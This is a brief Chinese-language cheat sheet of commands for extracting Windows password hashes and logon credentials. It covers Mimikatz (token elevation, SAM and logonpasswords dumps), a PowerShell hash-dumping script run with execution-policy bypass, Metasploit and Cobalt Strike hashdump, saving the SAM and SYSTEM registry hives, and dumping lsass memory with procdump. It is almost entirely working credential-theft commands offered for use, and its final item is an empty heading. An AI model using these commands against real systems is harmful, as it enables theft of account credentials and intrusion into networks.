hash抓取總結

抓hash方法

1. mimikatz

privilege::debug
token::whoami
token::elevate
lsadump::sam

privilege::debug
sekurlsa::logonpasswords

2. ps指令碼

powershell -exec bypass Import-Module 
.\Get-PassHashes.PS1 
Get-PassHashes

3. msf

run hashdump
use mimikatz

4. cs

hashdump
wdigest
logonpasswords

離線抓取

1. SAM檔案

reg save hklm\sam sam.hiv
reg save hklm\system system.hiv
#使用mimikatz
lsadump::sam /sam:sam.hiv /system:system.hiv

2. lsass.exe(注入lsass.exe程序，並從其記憶體中提取)

procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords"

3. 手工匯出lsass.dmp檔案